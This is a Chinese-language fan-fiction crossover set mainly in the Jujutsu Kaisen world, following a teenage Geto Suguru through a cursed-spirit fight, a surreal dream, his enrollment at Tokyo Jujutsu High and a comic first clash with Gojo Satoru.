《感官共享后与最强HE了》
1. 木偶剧院
樱花恰好落到夏油杰因狂奔翘起的发梢时,他正蹲在围墙外啃最后一口肉松面包。
校长在操场上激昂的毕业陈词从墙内飘来:“诸位即将破茧,此后……”
全世界的校长都爱长篇大论,但今日也不知是否因为日子特殊,陈词的时间尤为漫长。
少年起身掸了掸衣服上的灰尘,将黑色的耳扩摘下,恢复优等生的装扮。
三米高的围墙还留着昨晚暴雨冲刷出的泞土,潮湿的砖石湿滑难以攀附。夏油杰却只助跑两步便蹬上墙面,轻轻松松的翻了过去。
在空中转腾的时候,他双眼一眯,了悟了校长拖延时长的缘由——
礼堂方向的天空被泼了墨,黑色的大碗半扣,将算得上宏伟的建筑围拢罩住。
夏油杰皱眉扯开领口,朝着‘失踪无影’的礼堂狂奔而去。
*
礼堂是哥特式的剧院建制,夏油杰冲入墨流时,剧场二楼拱窗上垫脚的芭蕾少女的影子撞入眼帘。
兜内的手机疯狂震动,班主任的催促电话一个又一个打来,他干脆关了机不再理会。
拉开有些年头的木门,老式木门发出令人牙酸的吱呀声。
观众席上坐着二十几个学生,夏油杰认出他们是话剧社的社员。他们像是在玩木头人的游戏——如果忽略那些从他们后颈钻出的银色丝线。
提线木偶?!
“山本!”夏油杰指尖射出能量弹,丝线顷刻崩断。
还没等夏油杰松口气,割断的丝线便在空中蠕动,瞬时与断开的另一半合二为一。
“唰”的一声,夏油杰转头望去,舞台帷幕拉开。
芭蕾少女亮相,她垂着眼眸,双手伸展,如同阖眸沉睡的天鹅。
夏油杰认出了她,学校的高人气女神——早川松子。
忽然,松子的指尖飞出数十根银丝,挥舞着蔓延向上。
缠满绷带、面无五官的漆黑人影从台顶吊下。怪物身穿同样的芭蕾舞裙,裙摆上却沾满暗红污渍,银丝兜转,最终分散系到它的四肢。
整个剧院像一架钢琴,环环相扣——台下学生的丝线被它牵在手中。
剧院的空旷穹顶兀然传来清朗的声音,洋洋洒洒落下。
“少年人啊……”
刹那,声音还未落定,世界如同卡顿的老旧电视,陷入囧怪的沉默。
远方有人抬头,苍蓝的眸光流转。电视机滋滋的雪花退却,世界恢复它的运转。
一切稍纵即逝。
在宽旷静默的剧院,那一瞬显得更加微乎其微,至少夏油杰的眼里,那更像声音的主人被口水呛住了。
“少年……”那声音继续说,“我见你骨骼清奇品相优越,你愿意加入我们,开启一段拯救世界的旅程吗?”
夏油杰警惕道:“别躲躲藏藏的,快出来!”
祂笑了两声刚要再启,却突然如被捏住的蚂蚱,发出一声声求饶的闷哼后便不再响动。
夏油杰胸口的那股气被吊起,室内愈沉闷吊的愈高。
对他而言,那声音犹如一个信号,一个始作俑者拍拍脑袋弄出的舞剧开场白,时间在倒数,正剧却不知何时登台。
“咔嗒”一声,有人按响了音响的开关,室内响起了欢快的《天鹅湖》乐曲。
台上的少女蓦然睁开无神的眼睛,她双手下挥,开始旋转。空中的黑影随之举起双手,伸展四肢。
泠泠银丝被拨响,钢琴运作起来。
观众席上的学生齐刷刷转头,他们抄起手边的道具,餐盒里的刀叉群起攻上。
少年敏捷绕到山本后边,手刀劈到他的脖侧,可是除去多的一道青痕外别无他用。
学生如一台台不会痛不会死的机器,被打退后继续层层围剿过来,反反复复的没有尽头。
只能先杀怪再救人了!
空间撕出一个口子,诡异的蜘蛛跃到空中,无数蛛丝精准吸附,钳制着人质动弹不得。
夏油杰脱身后翻到魔鬼鱼身上冲向舞台!
怪物通体漆黑的脸上猝然裂开一道口子,吐出的数百道银丝,如倾盆的暴雨,铺天盖地。
黑发少年操纵着魔鬼鱼躲过第一波攻击,袖口却被划开整齐的裂口。
乐曲节奏加快。
银丝将黑影撕裂,每一部分夹含丝线汇成新的个体,于是十二具黑影从天而降。
它们围着早川松子开始旋转、鞭腿,跳跃。
“来吧,加入我们!”人影齐齐开口,被缚的学生张嘴应和,“加入我们!忘记烦恼!”
“来吧——来吧——加入我们!忘记烦恼!”
一重重的声音,一重重的回响!银丝汇聚成流动的星系,轻柔席卷在少年的周身。
疯癫、迷离、狂乱!
舞曲激昂欢快,舞姿慷慨昂扬。夏油杰不自觉地松了手,眼神迷蒙起来。
“阿达!”
黑白相间的熊猫玩偶撞开银丝网,一脚踹到夏油杰脸上。
“什么鬼!”夏油杰捂脸看着它。
玩偶的针脚歪斜,它左边的塑料珠子不知所踪,窟窿出的棉絮溢出。小小的一个,却精准撕开围住夏油杰的银丝网。
轻柔的银丝倏然暴虐,咻的穿透过它的身躯,玩偶腹腔的弹簧装置弹出散落,软软倒地阵亡。
“因自由的渴望诞生的咒灵,那个女孩是胜利的关键。”
成熟的男声传来,夏油杰骇然一惊,他稳住心神专心应对眼前的困境。
说到底,这个怪物虽然棘手但还困不住身经百战的夏油杰,对他而言棘手的是“自由”的引诱。
现下他上过一次当又得了提点,三下五除二的便撕破重重阻碍,一鼓作气将早川松子指尖的银丝齐齐割断。
没了早川的怪物像个失了发条的玩具,卡顿两下不再动弹。
“啪、啪、啪。”
掌声传来,鼓掌的人踩着皮鞋从暗处走出。
眼前的男人满身腱子肉,穿着熨帖的黑色西服,面戴黑色墨镜遮住大半张脸,锐利而又赞赏的看着他。
有杀气,夏油杰敏锐察觉。
这杀气不是冲他而来,而是久浸杀伐无法随心全然隐匿的结果。
这人难道是混极道的吗?黑*道大佬?现实版夜王凤仙?
即便刚得了帮助,夏油杰也并未放下警惕,戒备的看着他。
直到眼前的人从西服口袋中掏出什么递到他面前。
“不看看吗?”
夏油杰皱眉看去,瞳孔紧缩——是三天前他在调查过程中遗失的胸牌!
“你是谁,为什么跟踪我?”夏油杰声带紧绷,克制发问。
“这是我的任务,我只是在追查连环咒杀案时碰巧捡到的罢了。”面前的男人努力面部肌肉,努力让自己看上去温和一些。
任务?咒杀案?
夏油杰满脑子问号,他按兵不动,死死盯着他。
夜蛾心中赞叹,遇事冷静审慎,富有正义感责任心,天生是做咒术师好苗子,今年的生源总算是有眉目了。
“那只蜘蛛,看来你用的很顺手。”他伸手点了点少年身后。
“小猪?”
夏油杰看去,那是他在调查离奇命案的时候碰上的。
第四起案件的受害者身上被他提前放置了式神,小猪上门的时候触动了它,被夏油杰逮住吃掉了。
小猪……夜蛾正道看着那只浑身刚毛倒刺的巨型多眼蜘蛛,陷入了诡异沉默,选择了尊重。
“我是夜蛾正道,一名咒术师,也是东京咒术高专的老师。”
东京……咒术高专?咒术!
夏油杰攥紧拳头,开口试探:“怨灵、怪物。”
夜蛾正道顿了一会,明白过来:“怨灵......没错,我看的到它们,我们都是咒术师。”
夏油杰双眼噌的亮起:“咒术师?我和你都是咒术师?那你也有式神吗?”
“你的术式是契约?”看似询问,夜蛾正道的语气却很笃定。
身后的蜘蛛和他收起的魔鬼鱼都充分证实了这一点。
“能召唤已有的所有式神给我看看吗?”
契约这个术式的操作空间极大,但也很容易被浪费。
契约者往往能拥有的式神有限且不可解约,
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若是没有自小引导极易选取随处可见的弱小咒灵成为式神。
看样子这孩子至少已经浪费一个名额了。
想起那条鱼,夜蛾正道有些担忧。
“有点困难。”夏油杰虽然嘴上这么说但还是伸出手,十指微曲,尽力一试。
身后的空间撕裂,紫色的幽缝横亘,古怪的咒灵鱼贯而出,包围了整做剧院。
“老师,剧院塞不下了。”
少年无辜道。
“……”
这小子……要不是知道他真的没有恶意,称这是恐吓威胁下马威也不为过吧!
夏油杰见他面色有异,小心翼翼的问:“难道......咒术师不都是这样的吗?”
夜蛾正道:......
咒术师都是这样?那我怎么不会。
他张了张嘴,艰难的的说:“不,每个咒术师的术式不尽相同。你的事我大致清楚了,不过这种能力......”
夏油杰又无辜追问:“不是契约吗?”
夜蛾正道登时有些尴尬,刚刚显得高深莫测很有学问的话甩回来,打的他脸疼。
不过,契约的说法,莫种意义上也是正确的嘛。
他回答道:“契约也分不同种,你的术式我在一本古籍上瞥见过,你可以先演示一下调伏方式吗?”
夏油杰乖乖向黑影伸出手虚空一握,半个巴掌大的黑玉便躺在了他的手心。
夜蛾正道接过仔细瞧了瞧:“没错了,咒灵操术。”
他只隐约记得,这是一种强力但断代了千年的术式。若不是他成为老师后为了招揽某人常往某家跑,还真不一定能有幸阅览那本古籍。
“更多的细节我还要查阅书籍才能确定。”
他思索片刻抬起头来郑重道:“不论如何,夏油同学,我希望你能郑重考虑加入高专一事。你的天赋举世罕见,这个世界需要你的才能!”
“我愿意!”夏油杰挨着他的落音立马答道。
男人劝道:“这是关乎你未来的事,别急着做决定。事实上,咒术界可能和你想的不太一样......总之回去和家人商量一下,谨慎考虑。”
虽然他很想有学生,但也不希望小孩贸然闯进这个世界,最后后悔白白丧命。
夏油杰抿唇不答,他已经下了决心。
对于夜蛾老师而言,这或许只是一次寻常的招揽,但对于他而言是不同的。
*
夜蛾正道接到电话,留下一张入学同意申请书便匆匆离开了。
夏油杰在回家路上研究着薄薄的纸张,翻来覆去,爱不释手,视同珍宝。
他拿到了进入属于自己世界的“入场券”,没有比这更值得开心的事了。
作为一个不普通的孩子,夏油杰从小就知道自己的与众不同。
——看似干净繁华的世界表象下,那些肆虐、狂暴、会带来大大小小的危机、在各个角落游离的怪物是他司空见惯,视为常物之物。
世界很奇怪,光怪陆离的在他面前展开,殊形诡色到扭曲。
站在他身边,只有母亲。
但现在不一样了,他马上能见到跟多的同类,回到自己的族群中去!
如若不是顾及熟人太多怕社死,夏油杰兴致高的恨不得站在东京塔顶高歌一曲。
他怀着好心情推开家门时,白毛蓝眼的布偶正蜷在门口打哈欠,见到他便来了精神,一跃窝到他怀里。
小林美和蹲在书架前整理资料头也不抬:"小杰回来啦,妈妈煮了红豆年糕汤哦。"
夏油杰抱着球球走到沙发上,瞥见摊开的相册,最上面一页贴着最新的往返机票。
母亲起身盛汤:"''会说话的稻草人''的传说是假的,小杰,我们……
“妈妈,我找到了!”夏油杰亢奋的打断她,“我找到同类了,我要去咒高读书!”
美和女士盛汤的手顿了顿:"真好呀,那我要去浅草寺为你换新的御守了。"
“爸爸那里……”
“不用管他,我会签字的。”
她哼着歌打开冰箱,转过去的瞬间眼泪滑落下来。
2. 种子
“叮铃”“哐啷”
是什么声音?
这声响清越,如冰撞玉,轻而易举让夏油杰想起房间窗上挂着的双鱼风铃。
是风吹的吗?可自己睡前明明关好了窗户。
声响开始只一声两声,渐渐变大,离他的耳畔越来越近。是恶作剧吗,是谁大晚上在做这种罪不容诛的事?
不,不对劲。
他反应过来想要清醒却撬不动自己的眼皮。
浑身绷紧寒毛倒立,他头晕目眩才发觉自己早已屏住呼吸。
不安死寂爬到过山车顶点,然后陡然下坠。
夏油杰猛地睁眼挺坐,映入眼的是血色苍穹。
这不是任何他所熟知的地方——蒸腾着焦臭的龟裂大地、堆砌成山的巨型骸骨,还有……周身碎裂满地的暗金十字架。
他赤脚起身,看了看自己的手,又看了看自己的腿,毫不犹豫的给大*腿肉来了个托马斯回旋。
“不疼唉!”
夏油杰放下心来,自己应该是在做所谓的清醒梦吧。
作为一个地道的优等生,夏油杰还是很自信自己的保健课知识的。
一阵风刮来,熏臭味连夹着尘埃扑面,他抬头望去。
一条沾灰的白色绷带掠过视野,如垂死的白蛇游弋,顷刻间被风绞成碎片。
更远方是扭曲的混沌,有人伫立在混沌深处,背影孤绝如刀。
人影的白发染血,可怜兮兮地耷拉成一绺两绺,却仍在腥风中桀骜倔强地狂舞。
“等等……你是谁!”
夏油杰怔愣半晌,嘶喊一声。他伸手狂奔,跑姿酿跄。梦里的他没有触觉,于是每一步都踏的格外用力,像个浮夸的小丑,格外拙劣。
下一秒…混沌被撕裂了。
无形的利齿啃噬着白色身影的腰部,鲜血如瀑布倾泻,染红了整个世界。
倒下的身躯触地融入土壤,消失不见。
血,到处,怎么到处都是血?
sa...sato...
夏油杰跪伏在地,双手哆嗦的拾掇献血。
他的十指死死扣进土壤,把四面八方的血往怀里扒拉。
说些什么吧,不论你在哪里!
我请求你,快说些什么啊!!
sato...
"叮铃""哐当"
是玻璃坠地的清鸣。
世界被打碎,他膝下的土地也塌陷了。
大地下沉、云彩上涌、月亮消失不见。
树木遒劲勃发,茎叶四散狂涌,木质建筑拔地而起。
夏油杰僵伏原地,染血的面孔苍白空洞,半晌才呆滞抬起。
头顶的古木牌匾摇摇欲坠,牌匾上的墨迹被血渍掩盖,勉强可辨出■■宫的纹样。
下雪了,漫天的纸单如雪飘下,簌簌作响,落地之后一抖变成满地扑腾的蛾子。
远雷乍响,天光乎现。蛾子与纸张皆焚起赤焰,开始倒流。有的在空中徘徊,有的栖息在巨木,世界就在这片火光中晃动摇摆。
某张蜷曲的残片掠过眼前,字迹扭曲呜咽。
"2006.8. 星浆体事件记录——■■■"的字样正被火焰啃噬出焦孔。
"叮铃""哐当"
倒悬的十字架隐约显现。
巨树的枝干在烈焰焚烧下哆嗦摆动,于是大地战栗起来。黑夜像是一面幕布被无形的手四面拉开,阳光刺入进来。
夏油杰保持原来的姿势,恍惚茫然地跪在街头的贩卖机前,贩卖机旁边的肯德基传来的广告声迷离渺远。
繁华的街上人来人往熙熙攘攘,本是再寻常不过的安宁之景——如果不提走过的人皆没有五官。
这么形容也不准确,他慢几拍环顾四周。与其说是没有五官,不如说是朦朦胧胧被一层雾遮着。
"你的选择是有意义的。"男人温柔甜腻的声音恍若叹息,从蓝色的贩卖机里飘来。
愤怒、痛恨、憎恶。
这些情绪涌上心头给了麻木死寂的夏油杰一些力量。
他终于站起来。
"你是谁,为什么把我拖来这里?他又是谁,为什么会那么死掉?"
贩卖机抽*动,机子里的汽水瓶碰撞,发出"叮铃哐当"的脆响,一摞摞的退学申请被吐*出,申请书上的照片与信息被模糊,纸张上满是褶皱。
那个声音没有再说话。
贩卖机不断顷吐,纸张堆积淤满整条街道。
天空倾倒,黄昏融化成蜜色的蜂浆将整条长街裹成金像。那些人影脸上的雾凝实成蜡,在滚烫的蜂蜜下融化。
"你的选择是有意义的。"
这声音逐渐嘶哑、扭曲、失真,它从四面八方挤压过来,满城头颅正在融化的人都张开了无舌的口齐齐唱起。
"你的选择是有意义的。"
贩卖机的玻璃片在满城金像的映衬下更为清晰,它清楚映出横贯着月牙疤的脸。这脸咧嘴说着。
虽然更加沧桑深沉,但这脸和声音——赫然是夏油杰的!
夏油杰瞪大双眼,泛出血丝,酿跄着后退绊倒在地。
"你是谁?"
"你是谁?"
镜中镜外的"夏油杰"一起发问。
"叮铃""哐当"
城市与无面人加速坍缩,金色的蜂蜜流淌在地汇成汪洋,夏油杰的鞋底被蜂浆黏住,越是挣*扎陷得越深。
贩卖机吐*出三十枚银币,它们相互碰撞,又挤挤挨挨沉入金色汪洋。
汪洋开始疾迅翻转,夏油杰被蜂浆裹挟,在一阵天旋地转后终于得以睁眼。
"我是谁?"
夏油杰听见有人叩问。
——是"自己"的声音,比玻璃里传来的那道更为疏冷,更为迷茫,也…更为疲惫。
他睁开眼睛,看见黄昏,看见月落星沉,看见"自己"身穿黑色袈裟穿过圣徒夹道的青砖走向荆棘。
他看见"自己"转身展臂合上眼眸,从容的任由荆棘刺穿他的双手双脚,纵容它将“自己”绑缚在血痂制成的十字架上。
"我是谁?"
他看见荆棘的每根尖刺上都长着耶稣受苦受难的面容,这面容不一会又扭曲成自己。
蜡做的月亮被融化,蜡泪滴落在淌血的脚边,凝固成染白的蓝色,活像是一只流泪的眼睛。
"吃下我的肉吧。"他听见“自己”说。
于是圣徒蜂拥,于是圣杯满了又空,空了又满。
于是蜡泪横流,眼睛只剩模糊的轮廓。
"你是谁?"
这道问句不再是"自己"的声音了。
他看见被钉在十字架上的"夏油杰"睁开眼露出浮夸却未达眼底的笑容。
"我是夏油杰啊。"
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那道声音又问:“你是谁?”
“夏油杰”的笑僵在脸上收回一些,他笑的端庄优雅:“关你屁事。”
那道声音卡了个壳,并不恼怒:“你怎么会认为自己是夏油杰呢,你真的是仅仅是夏油杰吗?难道我看错了,你非是那自愿走向绞架救苦救难的耶稣吗?”
"夏油杰"彻底冷了下来,他眼睫半耷,嘴角下垂,一副冷漠刻薄的模样:“我是夏油版耶稣的话,你是什么,耶稣版夏油?”
那声音沉寂一会后笑起:“我既不是耶稣也不是夏油,你也不要做耶稣了,你去做你的莎维德丽②吧!”
他沉默不语,半晌后抬眸向夏油杰投来一撇。
*
夏油杰汗透衣被,心悸乍醒。
他疾转脖颈,天色微亮凌晨四五点的样子。窗口的双鱼玻璃风铃被风撩拨,悬链荡漾。
下床,疾步。
他一把拽下风铃扣在桌子上,拉开椅子郑重写下2006年七月那个日期。
自从前不久得到夜蛾正道关于“五险一金”的肯定回答过了母亲这关后,夏油杰就处在一种过度亢奋的状态,每个晚上一想起这个消息就手舞足蹈的在床上蠕动打拳。
今天就是报道的日子,他本以为会和往常一样翻来覆去地睁眼到天明,却没想到会突然做了这么个离奇的梦境。
被腰斩的陌生人影、摸不着头脑又不确定的日期、各种古怪的意象、还有……感觉像个邪教头头的自己。
想到这里夏油杰整个人裂开,都说梦是潜意识的投影,难道我潜意识里觉得自己是个人渣吗?
他猛的甩头,伏案想继续复盘,他对于最后出现的那道声音莫名在意,熟悉的好似在哪里听过。
“扣、扣——”
门被敲响了,夏油杰开门。
他的父亲夏油城穿着熨帖的西装站在门口,这个假期他们大吵了一架。父子两倔的如出一辙,谁也不肯率先低头。
夏油城别扭的说:“快提行李,我今天上早班顺道送你去地铁站。”
可你上班不是在另一头吗?一把年纪了还这么不坦诚。
夏油杰转身去拖行李时乐的龇出个大牙,但这并不妨碍他在心里蛐蛐人。
门关时带出了一阵风,行李箱轮子磕楼梯的踢踏声远去。
铃声脆响,不知道是被那阵风吹起的。
晶莹的铃铛壁上抹出几道扭曲的彩线,在台灯的暖意下被光拽地摇曳,聚成人首的轮廓。
铃声摇出密语。
“喂,你那天打我干嘛,我正演到高潮呢!隐世的白胡子高人受少年感召带领他开启一段拯救世界的旅程,多么完美的剧本!”
成熟疲惫的男声冷声道:“他的设定可不是什么莫欺少年穷的龙傲天,叫你‘播种’你就乖乖‘播种’,别做多余的事。”
“这样吗?”少年音状似委屈撒娇的犹犹豫豫,又马上调皮道,“不可能啦!我们的交易注定了我会是''你们''的人生导师啊。”
男人不为所动:“可别带上我。”
少年哼哼唧唧不服气,但说到正事还是严肃起来:“现在就催生‘种子’会不会太早了?”
“别小瞧啊,即使是■■的‘我’这些也完全能够承受。
“何况~还有他呢。”
名字随铃舌兜转,光影舒卷几下,终究被囫囵吞下。
3. 入学
快中午了,太阳不顾人死活的呆愣照着。
夏油杰吭哧吭哧的拖着掉了轮子的行李箱生无可恋地往前走。
凌晨四五点出门的结果却是现在还没有到高专。
并不是夏油杰拖拖拉拉,实在是托了早上左脚先出门的福气,没走什么好运。
在车上补觉被一个穿蓝西装打红领结的小男孩砸醒,行李箱掉下来摔坏就不说了,更倒霉的是自己坐的新干线竟被无良缺德的犯罪分子安装了炸弹!
也是由于这个原因,新干线终点的人群被疏散,他没能等来接自己的人。
可恶!市中心,中午到处都是人,也根本召唤不了咒灵啊!
“你的箱子烂了,需要帮忙吗?”
夏油杰转身望去,两个穿警服的男人站在后面。
左边的青年黑发紫眸,和蔼可亲。他右边的同伴头发微卷,领口挂着副墨镜。
“去上学,哪所学校?上车,我们送你。”
虽是问句,但右边叼烟的青年闻言已经自然的拖过行李走到一旁。
“不……”
“为人民服务是应该的嘛。”没等夏油杰拒绝,紫眸青年已经自然的揽着他的肩膀,拖着他上了车。
警车上,夏油杰坐立不安,别扭的说:“要不还是我自己去吧,我的学校很乡下。”
……所以离得很远。
“没关系哦,hagi酱的车技很好的。”
是误以为路不好吗?
夏油杰摸了摸脸有点尴尬:“我是东京咒术高专的新生,学校在……”
﹉﹉﹉﹉
荒无人烟的郊外、杂草丛生的土路、高耸入云的石阶。带他来的两名警察——松田阵平和萩原研二一左一右的抱着胳膊打量,表情如出一辙的微妙。
“夏油君,”萩原研二笑眯眯的拍了拍一旁扶着树,面色苍白欲呕的夏油杰的肩,“现在反悔和我们回警局做笔录还来得及哦。”
“……不用了。”有些事情夏油杰没法解释。
“嘛,没想到这里还藏着所学校,hagi酱完全不知道呢。”看到夏油杰摇头,研二转过话题望了望台阶,“我们帮你抬上去吧。”
说着欲动,夏油杰嘴唇苍白,见状摇摇晃晃地急忙阻止。
开玩笑啊!这儿可是咒高,普通人一进警报嗡嗡响的咒高啊!
他迅速编了个理由,憋住呼吸,扛起箱子,三步并两步的跑进学校。
“虽然他那么说,但这么偏远的宗教学校……真像是被拐进深山的无知少年呢。你觉得呢,阵平酱?。”
松田阵平对着学校‘咔嚓’拍了几张照:“这地方要是能教出正经学生,我明天单手拆弹。”
“这种事就不要拿来了赌了,”萩原研二说:“咱们回去好好查查这所学校的法人。”
*
被特色车技晃晕的夏油杰放慢脚步,离开他们的视线后,拖着缺胳膊断腿的行李箱,还在慢悠悠的爬台阶。
终于穿过结界走到门口,他抹了把汗吐槽道:“这就是夜蛾老师说的‘和你想的差别很大’的意思吗?确实差的有点大啊。”
他没想到这个年代还有学校建在山里,是觉得地皮比较便宜,买座山血赚吗?
正想着,一道破空声骤然响起。夏油杰本能地侧身躲过,半块草莓大福擦着他的鼻尖飞过,在身后的石灯笼上炸开,甜腻的奶油四溅。
“哎呀,失败啦。老子还以为能正中靶心呢。”
夏油杰转过身,一个身穿和服肩披羽织的白发少年倒挂在不远的树上,墨镜滑到头顶,如天空广邈的蓝眼睛流转,宛若苍穹的延展。
……好眼熟的配色。
“你是谁?”夏油杰皱眉,不爽的问。
就算是人形版的球球也不影响他对这人第一印象跌至谷底。
“是最强的五条悟大人啦。”少年翻身从树上跃下,动作灵敏的像只猫咪。他推了推滑到头顶的墨镜,咧嘴一笑,“你就是传说中的咒灵操使,看上去很普通嘛,还有炸开的怪刘海——”
他动作夸张的比划着夏油杰的头发,“怎么会有人留这——么怪的刘海!”
夏油杰太阳穴跳了跳,还是没忍住呛回去:“哈?这是潮流,不懂就不要乱做评价啊。倒是你,染个白毛,戴着个心型镶钻墨镜,竟然有脸说我?!”
“哇——好没品的评价,”五条悟夸张的捂住胸口,“这个墨镜可是老子刚刚花大价钱买的热门款诶。话说你这家伙是在攻击老子外貌吗?难道这就是传说中的校园霸凌?!”
“……”
夏油杰直接无视他最后一句话。
他盯着五条悟,上下打量,从头看到脚,从脚扫到头,目光在那副粗糙劣质的墨镜上停留片刻。
热门款?廉价的塑料配水钻……这是从哪个乡下来的大少爷。绝对,绝对是被骗了吧!
“要说外貌攻击,也是你这家伙先挑起的吧?!”夏油杰冷冷回道。
“哎呀呀,不要在乎这些细节嘛。”
夏油杰深吸一口气,心中默念:这是未来同期,这是未来同期,要和谐相处,和谐!
“如果没事的话,我先走了。”他压下心中不快,转身要走。
“等等”,五条悟大步跨到他面前,顺手把残余的奶油擦到夏油杰的衣角上:“老子的大福是因为你才没的,记得回头赔老子一,不,三个!要喜久水庵的限量新品!”
夏油杰的太阳穴又跳了跳,他从未见过这么无理取闹的人。
理智在崩溃的边缘徘徊。
“是你拿那个砸的我!”
“那咋了?”五条悟耸耸肩,“你想赖账不赔吗?那也行啊。你换个发型吧,嗯……就夜蛾的寸头,不,还是光头更适合你。”
啪——理智摔下去了。
“我们聊聊吧,五、条、悟!”
夏油杰终于忍无可忍,一拳挥向五条悟的脸。然而他的拳头停在了离对方鼻尖一寸的地方,仿佛撞上了一堵无形的墙。
“哇~好暴躁的怪刘海,本体飞起来了耶。不过没用哦,”五条悟得意挑眉,“你碰不到老子的,这可是无下限。怪刘海还是乖乖认输剃头去吧。”
夏油杰收回拳头,勾出冷笑:“是吗?”
他双手结印,闪身而上。
一只蜘蛛咒灵朝五条悟扑去,却被他反手击开。
“砰——”
五条悟提手格挡,借力打力将夏油杰甩了出去。
“那就是你调服的咒灵,真好玩,快全吐*出来给老子瞧瞧。”
“别自说自话了,等着被我打趴下吧!”
夏油杰退后几步抬手,蜘蛛咒灵瞬间解体,化作无数粘稠的咒力丝线。这些咒力丝线在空中迅速交织成网,在五条悟头顶骤然压下。
他眼神一凛,六手的巨人手持火球出现。
火球丢出,火焰瞬息在巨网上炸开。
草皮一同被燃着,发出焦臭的气味。
白发少年瞬间失去身影,夏油杰谨慎盯着前方。
“轰——!”
他凌空跃起,乘着虹龙避开。蓝色光束擦着他的裤脚掠过,恐怖的爆炸声后,烟尘四散挡住视线。
竟然有人能徒手捏核弹!
这家伙,好强!
哗!
一道白刃反光,瞬息刺入白发少年的头顶、脖颈,划破腹腔,没入大*腿!
“等等!”夏油杰下意识失声叫道。
回过神来,是五条悟完好,略染尘灰的面庞。
“干嘛,要求饶了?老子还没打过*瘾呢!”五条悟忻忻得意,划出一抹戏谑的笑容。他目光如炬盯着挡住自己拳头的夏油杰。
夏油杰被激顿时把刚刚的画面丢到一边。
“再来!”
两个少年狠狠盯着对方,眼中战意盎然,默契的丢掉术式,近身肉搏起来。
夏油杰的招式集百家之长,劈、砍、扫、刺、挡 ,一招一式皆规范而有韵律,善变化而有形体。五条悟则随性许多,往往变换莫测,难以琢磨。
五条悟加快速度,一记鞭腿扫向夏油杰头部。夏油杰不避不让反而加快攻势,拳脚如雨点砸下。
两人身影在操场上快速移动,带起阵阵尘土。
几个回合之后,夏油杰抓住机会,一击重拳砸在五条悟腹部。五条悟闷哼一声借势抓住夏油杰的手臂,一个过肩摔将他抡在地上。
但夏油杰早有准备,落地瞬间滞空扭腰,双腿瞬间夹住五条悟的脖子,将其反压身下。
“认输吗?”夏油杰喘着粗气问道。
五条悟嗤笑:“还早着呢!”
他突然发力,硬生生将夏油杰掀翻。两人在地上翻滚扭打,谁也不肯松手。
五条悟一边还手,眼珠一边随着头顶晃动的刘海转动。
“嗷呜!”夏油杰崩溃的一击头槌下去,“你给我——住嘴啊!!!”
“嗷
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!!”
*
五条悟蹲在地上,小眼神一下一下向夏油杰瞟去,“好过分的怪刘海,这是嫉妒,怪刘海一定是在嫉妒老子天妒人怨的俊脸吧。”
“呵呵。”
夏油杰不想和五条悟说话,他嫌弃的用两指擒着刘海,并不想让沾了五条悟口水的头发黏到自己脸上。
“哈?你是在嫌弃老子吗?亏老子还给你带了瓶汽水。”
一瓶冰镇的北海道汽水从空中丢来,夏油杰随手借助,莫名瞅了瞅,狠狠喝了几口,转身不理他。
“感谢都不说一句吗?好没礼貌的怪刘海。”
“有礼貌的五条同学先叫对别人的名字再说吧。”夏油杰已经能淡定的推开五条悟快贴到自己脸上的脸了。
“可你没告诉老子你的名字啊。”
夏油杰转头看他:……
五条悟无辜的眨巴眨巴大眼睛。
“夏油杰。”
“什么,”五条悟挖挖耳朵,把耳朵对向他的嘴,“大声点啊,怪刘海。”
夏油杰挂出优等生招牌微笑:“我是夏油杰呢,五条同学。”
五条悟撇头努嘴:“笑的好假。”
“哦。”夏油杰表情沉静,不为所动。
砰!
两个丑萌的毛绒咒骸破空砸来。
“嗷呜!”
“耶吼!”
“夜蛾扣五十分!老子有无下限啦。倒是杰也太衰了吧,竟然会被夜蛾弱唧唧的娃娃砸到。”
“对老师要用敬称啊!五条君!”
“什么嘛,老子都叫你杰了,你当然要叫老子悟啊!这是来往礼节,这都不懂还来教训老子吗?”
“这是那门子礼节啊。”
五条悟摸了摸下巴,歪头有了主意:“是五条式礼节哦。”
“你、们、两、个,都干了什么啊!”
夜蛾看着站在自己面前还斗嘴的两人,身上黑气一茬一茬的往外冒。
“报告!”五条悟跳着高举起手来,“是怪刘海杰干的!”
“什么啊!”夏油杰满头黑线的看着这个告黑状的少年,“报告夜蛾老师。”
“阿拉~我未来的同期是两个幼稚的,举手等老师主持公道的小孩子吗?真是不幸的未来啊。”
说话的是跟在夜蛾身后,一个蘑菇头,眼点泪痣的棕发少女。
“先等等,硝子。我先收拾一下这两个家伙。”
夜蛾嘱咐完,转过头来。
“为什么要收拾这么老实的老子?这点钱叫五条家出就好了。这么乡下的地方什么都没有,正好翻修一下。夜蛾,你还得感谢老子给你省了拆迁费呢,不过这点钱老子也不在意,你不用专门感谢了。”
“你快闭嘴吧。”夏油杰身心无力,真是要败给他了。
夜蛾无视两人的话,双臂环抱开始清算。
“操场。”
“是他,是杰放菊石兽烧的!”
“那个是好坏星!夜蛾老师,操场是五条轰的。”
“哈?明明菊石兽更贴切!还有要叫老子悟啊!操场的草坪难道不是你烧的?地面的坑没有你咒灵的份?”
“那也是你先挑起的!”
“难道不是你说要聊聊的?不是你先挥的拳?”
“那也是你先拿大福砸我,把奶油抹我身上不说还厚脸皮要我赔!”
夜蛾一手拽一个,把两个梗着脖子争吵,眼见又要打起来的少年拉住。
“贩卖机呢?”
“是他是他就是他,夜蛾,你看他手上还拿着饮料瓶呢!”五条悟双手直戳戳的怼着夏油杰。
“这不是你甩给我赔礼道歉的吗?!”夏油杰瞠目结舌,这次他的刘海不是自己揉乱或是被起浪掀起——是真的刺棱炸起了。
“老子又没做错,干嘛要向你赔礼道歉啊?要不是老子爆破了贩卖机,你能喝到汽水吗,这锅难道没你一半吗?好你个怪刘海,喝的时候不说谢,算账的时候又开始推脱起来。老子唾弃你!”
夏油杰整只狐狸的毛都炸了,他恼羞成怒,把饮料罐往五条悟头上狠狠一丢。
“夜蛾你看他,在你面前怪刘海都胆敢放肆!你不在,老子都不知道他要怎么霸凌老子!”
砰!
夜蛾提着五条悟和夏油杰狠狠一撞,两人额头重重碰到一起。
夜蛾摁着两个排斥扭动的少年,咬牙切齿:“你们两个!给我好好和睦相处啊!!”
4. 对付
总之,最后的结果是他们两个每人背了一万字的债到了宿舍。
夏油杰耷拉着尾巴,提着行李箱挑了间角落合意的寝室,把自己安置下来。
他翻动未接来电,抹了把汗回播过去。
还没出声,耳边传来一道活泼清朗的女声,絮絮叨叨的像个问题泡泡机。
“小杰,怎么这么晚才打回来?”她问了句便转过话头,“对了对了,你们学校都有些什么同学啊?你是宝可梦大师的话,你们班的同学有没有当美*少女战士的?”
夏油杰:“……”
